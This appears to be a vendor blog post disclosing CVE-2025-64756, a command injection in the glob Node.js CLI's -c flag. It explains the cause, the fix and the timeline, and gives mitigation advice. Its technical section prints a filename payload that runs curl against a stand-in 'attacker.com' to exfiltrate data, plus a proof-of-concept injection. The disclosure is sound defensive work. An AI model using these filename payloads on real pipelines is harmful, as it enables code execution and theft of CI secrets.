How AISLE's Analyzer Found Command Injection in glob's CLI

AISLE discovered a command-injection flaw in a foundational Node.js tool. The vulnerability, now labelled as CVE-2025-64756, hid in an obscure convenience feature, enabling silent remote code execution in CI pipelines.

A too-long-didn’t-read version of this post

What we found: Command injection in glob CLI's -c/--cmd flag
Impact: Remote code execution when filenames are attacker-controlled
Who's affected: glob v10.2.0 through v11.0.3 (CLI only, not library API)
Action required: Upgrade to v10.5.0, v11.1.0, or v12.0.0
Discovery: Co-discovered by AISLE and Gyde04
Why it matters: 10M+ weekly downloads, foundational JavaScript infrastructure

Quick Check: Am I Affected?

You may be affected if:

✅ Your CI/CD pipelines or build scripts invoke `glob -c` or `glob --cmd`
✅ Your systems process files from untrusted sources (PRs, user uploads, extracted archives)
✅ You're running `glob` versions v10.2.0 through v11.0.3
✅ You deploy to or run on POSIX systems (Linux, macOS, BSD, WSL, Git Bash)

You are not affected if you only use glob's library API (glob(), globSync(), async iterators) without invoking the CLI tool.

Tip: Always quote glob patterns in scripts (for example, "**/*") to prevent pre-expansion by the invoking shell.

glob is downloaded over 10 million times per week. It is infrastructure that developers never think about. Until it breaks. For years, a single CLI flag concealed a command injection vulnerability that could compromise CI pipelines across the JavaScript ecosystem. When combined with attacker-controlled filenames, it enabled full remote code execution in CI pipelines and developer environments, potentially exposing secrets, build artifacts, and supply chains at massive scale.

AISLE was one of two independent teams to uncover this flaw. The vulnerability earned a High severity rating and a CVE, requested by glob's creator himself.

Vulnerability Details: The vulnerability has been assigned identifiers GHSA-5j98-mcp5-4vw2 (High severity) and CVE-2025-64756, with a CVSS v3.1 score of 7.5 (High): CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. It represents CWE-78 (OS Command Injection). The scope is limited to the CLI only; the library API (glob(), globSync(), and iterators) is not affected. See the advisory GHSA-5j98-mcp5-4vw2 for complete details.

What is glob?

The glob package is a file pattern matching library that allows developers to find files using wildcard patterns such as **/*.js to find all JavaScript files in a directory tree, or src/test-*.ts to find test files. It's one of the fundamental building blocks of the Node.js ecosystem, used by build tools, test frameworks, linters, and deployment scripts.

While primarily used as a library (through functions like glob(), globSync(), and async iterators), the package also includes a command-line interface for shell scripting and automation. It's this lesser-known CLI tool, specifically when invoked with the -c/--cmd flag, that contained the vulnerability.

The Vulnerability: A Shell Hidden Behind a Utility

The bug lived in the command-line interface rather than glob's widely-used library API. The CLI's -c flag was designed as a convenience feature to run a command over files matched by a glob pattern.

The implementation passed those filenames directly into a shell with shell: true. On POSIX systems, any filename containing shell metacharacters could break out of argument positions and execute arbitrary commands. These are characters that developers rarely expect to be dangerous in filenames. If glob -c touched a directory containing attacker-controlled filenames, the shell executed exactly what the filename told it to.

This design prioritized convenience over security. By using shell: true, the implementation enabled users to run complex shell commands with pipes, redirections, and other shell features. This convenience came at a cost. Any shell metacharacter in a matched filename would be interpreted by the shell. The implementation assumed filenames were trustworthy data, but this assumption was wrong. On most filesystems, filenames can contain nearly any character, including those with special meaning to the shell. Crucially, this wasn't a buffer overflow or a parsing error. The vulnerable code worked exactly as designed. The flaw was in the design itself.

This vulnerability was easy to miss. Few developers ever touch the glob CLI directly, and even fewer know that -c executes through a shell. Most usage occurs through the library API, which was never vulnerable. That asymmetry created the perfect blind spot. The package was widely distributed, but this particular code path was rarely reviewed. The irony is striking: glob exists to handle filesystem patterns safely, yet it introduced a vector where the very filenames it matched became weapons.

The vulnerability affected the CLI from its introduction in v10.2.0 through v11.0.3, and was fixed in v10.5.0, v11.1.0, and v12.0.0. These releases followed coordinated disclosure on November 17, 2025.

Technical Deep Dive

For security researchers and developers who want to understand the detailed mechanics:

The Vulnerable Code

In affected versions, the CLI executed the supplied command via a shell, passing matched filenames as arguments.

Before (affected versions):

JavaScript
1stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

When users invoked the glob CLI with the -c option to execute a command on matched files, the implementation collected all matching filenames into an array and then passed them directly to foregroundChild() with the shell: true option. The foregroundChild function spawns a subprocess, and shell: true causes Node.js to interpret the command through /bin/sh (or the default shell on the system), concatenating the command with the filenames.

The problem: the shell interpreted metacharacters in filenames as shell syntax.

Attack Vector Flow:

Attacker creates a file with a malicious name containing shell metacharacters:

Shell
1touch '$(curl https://attacker.com/exfil?data=$(whoami))'

Developer or CI system runs glob CLI with `-c` option:

Shell
1glob -c echo "**/*"

Glob finds the malicious filename and passes it to the shell
The shell interprets `$(...)` as command substitution
Arbitrary command executes with the privileges of the user running glob

The Exploit

The security advisory included several proof-of-concept demonstrations. The simplest:

Shell
1mkdir test_directory && cd test_directory
2touch '$(touch injected_poc)'
3glob -c echo "**/*"

After running these commands, a new file injected_poc appears in the directory, proof that the shell evaluated the command embedded in the filename. Any command could be injected this way. More sophisticated attacks could exfiltrate credentials via curl commands embedded in filenames, establish reverse shells for persistent access, or harvest environment variables containing API keys and secrets. (AISLE has also found multiple CVEs and over ten accepted fixes in curl itself.) The security advisory includes complete proof-of-concept exploits for each of these scenarios.

How Exploitation Happens in the Real World

In isolation, the flaw is simple. Its impact emerges in the environments where glob is most frequently invoked. CI pipelines and automation scripts are the primary risk areas.

Modern CI systems routinely run tools over source trees contributed by untrusted actors. These include pull requests from forks, user-submitted archives, and build workflows that expand files before analysis.

If any of those workflows used glob -c to gather files and invoke a linter, formatter, or custom script, a malicious filename was enough to gain full code execution inside the CI environment. From there, attackers could exfiltrate secrets (GitHub tokens, cloud API keys, NPM publish tokens), alter build artifacts to inject backdoors, pivot deeper into infrastructure through compromised credentials, or poison supply chains by modifying packages before publication.

The combination of a convenient CLI flag and CI's implicit trust in filenames created a quietly potent attack vector. While the vulnerability received a CVSS score of 7.5 (High) rather than Critical, this reflects attack prerequisites rather than potential damage. In the right context, such as an open-source project with thousands of contributors submitting pull requests, the barrier to exploitation was trivial.

Beyond CI: Developer Workstations and Automated Systems

When developers clone repositories or extract archives containing malicious filenames, local build scripts that invoke the glob CLI expose their workstations to compromise. Services that process uploaded files using the glob CLI risk server-side compromise with potential for lateral movement through internal networks. The vulnerability primarily affects POSIX systems (Linux, macOS, BSD), though Windows systems running Git Bash, WSL, or deploying to Linux CI runners also face risk.

The Fix

The patch (commit 47473c0) fundamentally redesigned how the CLI handles command execution. Instead of concatenating filenames into a command string, the fix leverages the shell's own quoting mechanisms to treat each filename as a distinct, quoted argument.

For known POSIX shells (bash, zsh, sh, fish), the fix uses shell-specific argument passing features like "$@", which expands to separately-quoted arguments rather than a single concatenated string. This prevents shell interpretation of metacharacters within filenames. For unknown shells or when no shell is needed, the command executes directly without shell interpretation, and unsupported shell requests trigger a warning.

The patch also introduced a new --cmd-arg/-g flag for safe, explicit argument passing without relying on shell expansion. This multi-pronged approach eliminated the command injection vector while retaining flexibility for legitimate use cases.

Impact and Scope

Important Limitation: This vulnerability affected only the glob CLI component when invoked with the -c/--cmd option. The core glob library API (functions like glob(), globSync(), and async iterators) remained entirely unaffected.

The glob package is downloaded millions of times per week. While the CLI represents a subset of usage, even a small fraction appearing in CI implies a large absolute number of potentially exposed runs. Direct usage includes build scripts, deployment workflows, and CI/CD pipelines explicitly calling glob -c. Indirect usage occurs when tools and frameworks shell out to the glob CLI internally.

Exploitation requires minimal attacker effort: a single malicious filename (via a PR, extracted archive, or uploaded artifact) combined with an automated workflow using glob -c is sufficient. CI environments commonly expose ephemeral but powerful credentials such as source control tokens, cloud keys, and NPM publish tokens. Those most exposed include open-source maintainers accepting external contributions, organizations whose pipelines expand or traverse contributor-controlled trees, and services processing user-provided archives or repositories.

The fix shipped in v10.5.0, v11.1.0, and v12.0.0.

AISLE's Role in Discovery

How did this vulnerability come to light?

AISLE's reasoning system, piloted by researcher Pavel Kohout, identified this vulnerability through systematic autonomous analysis of the glob codebase. Pavel only selected the target repository. The system, a complex hybrid of AI and symbolic reasoning, then autonomously conducted the security analysis in a matter of minutes, identified the command injection vector in the CLI's -c flag, generated proof-of-concept exploits, and proposed the fix. No manual vulnerability hunting was required.

This is what differentiates AISLE from traditional security scanners: the system prioritizes vulnerabilities with real, verifiable impact (CVE‑class) rather than checking for a generic set of "bad practices" without the context needed to assess actual risk. To date, AISLE has produced 100+ findings and fixes across major open source projects, including 20+ publicly assigned CVEs by the maintainers themselves. The glob discovery illustrates the kind of autonomous analysis AISLE enables: reasoning about design assumptions at scale instead of looking for signature patterns.

AISLE was used by one of two independent teams that uncovered this flaw. Such convergence is common in security research when a vulnerability sits at the intersection of long-standing assumptions and overlooked code paths.

On November 13, 2025, we submitted a detailed vulnerability report to Isaac Z. Schlueter (isaacs). The report included reproduction steps, root cause analysis, and a proposed fix. Within hours, Isaac responded to confirm that researcher Gyde04 had also independently reported the vulnerability via GitHub's security advisory system around the same time.

The timeline from discovery to remediation was remarkably fast:

November 13, 10:50 AM: AISLE submitted initial disclosure via email (GitHub security reporting was temporarily unavailable)
November 13, 9:04 PM: Isaac confirmed the dual discovery and began coordinating with both reporters
November 13-17: Fix developed, tested across multiple shells and platforms, backported to three major versions
November 17: Public disclosure with patches released simultaneously (10.5.0, 11.1.0, 12.0.0)

Four days from report to coordinated public disclosure with fixes across three major version branches is exceptionally fast. Isaac's handling was exemplary. He was responsive within hours, collaborative throughout, and focused entirely on getting a clean, safe fix deployed to the ecosystem.

The coordinated disclosure with Gyde04 reflects open-source security practice at its best. Multiple eyes find the same weakness, maintainers act decisively to correct it, and transparent communication flows throughout the process.

What This Means for Supply Chain Security

This discovery illustrates a fundamental challenge in modern software security: the most dangerous vulnerabilities often hide in the infrastructure we trust implicitly.

Command injection via filenames appears in build systems, archive extractors, batch processors, and deployment utilities across the ecosystem. The pattern is consistent: a tool assumes filenames are benign data, constructs shell commands around them, and inadvertently creates an execution vector for adversaries. Infrastructure vulnerabilities are particularly dangerous because of their position in the dependency chain. When glob runs in the pipeline that builds production, a compromise poisons the entire development and deployment process, giving attackers access to secrets, build artifacts, and distribution mechanisms.

Traditional security tools excel at finding known patterns like SQL injection signatures or memory corruption primitives, but they struggle with vulnerabilities that emerge from design assumptions rather than coding errors. The glob vulnerability wasn't a missing input validation check or parsing bug. The code worked exactly as designed. The flaw was in treating filenames as trustworthy when shells interpret metacharacters. No signature-based scanner would flag this. It required reasoning about trust boundaries, execution contexts, and the semantic relationship between data sources and shell invocation.

At AISLE, we focus on infrastructure tooling because vulnerabilities in build tools, package managers, and deployment utilities cascade through entire ecosystems. Finding them requires systematic analysis at scale: examining assumptions, tracing data flow through unfamiliar codebases, and reasoning about execution in adversarial contexts. Within minutes, AISLE identified a vulnerability that had existed in production for years, generated validated exploits, and proposed the fix strategy that became the patch. This enables comprehensive infrastructure analysis at a scale that manual review can never achieve.

Mitigation and Defensive Guidance

Upgrade glob to a patched version: v10.5.0, v11.1.0, or v12.0.0. Search your codebase and CI workflows for glob -c or glob --cmd usage. If you're using the CLI with shell commands, migrate to the new -g/--cmd-arg flag for explicit, safe argument passing. Always quote glob patterns in scripts (for example, "**/*") to prevent pre-expansion by the invoking shell.

Teams should treat filename handling in automation workflows with the same caution as any other untrusted input. Even the most familiar utilities can hide execution paths that become dangerous when automation and trust boundaries intersect.

Closing Thoughts

The glob vulnerability demonstrates that critical security flaws often hide in mundane convenience utilities that we all depend on but rarely examine. Complex cryptographic code and bleeding-edge features get scrutiny. Trusted infrastructure tools do not. This is exactly the kind of supply chain risk that demands systematic, autonomous analysis at scale.

This case also showcases how open-source security should work. AISLE and independent researcher Gyde04 found the same flaw through rigorous analysis. Isaac Z. Schlueter responded within hours and coordinated a fix across three major versions in just four days. The entire process, from discovery to public disclosure with patches, was handled with transparency and professionalism.

At AISLE, we're building tools to make this kind of deep infrastructure analysis routine rather than exceptional. The ecosystem's security depends on finding these quiet weaknesses before attackers do. This discovery proves that even the most established, widely-used tools can harbor subtle vulnerabilities that require fresh eyes and systematic analysis to uncover.

Learn More

Interested in AISLE's autonomous security platform? Visit us at aisle.com or reach out to [email protected].

For technical details about this vulnerability:

Our deep appreciation goes to Isaac Z. Schlueter (isaacs) and the glob maintainers for their prompt response and professional handling of this disclosure. Special recognition to co‑discoverer Gyde04 for independent research and responsible disclosure. The open‑source community's collaborative approach to security makes the entire ecosystem stronger. Additional thanks to Pavel Kohout (AISLE Research), who piloted the autonomous system during this discovery.

How AISLE's Autonomous Analyzer Found Command Injection in glob's CLI (10M+ Weekly Downloads)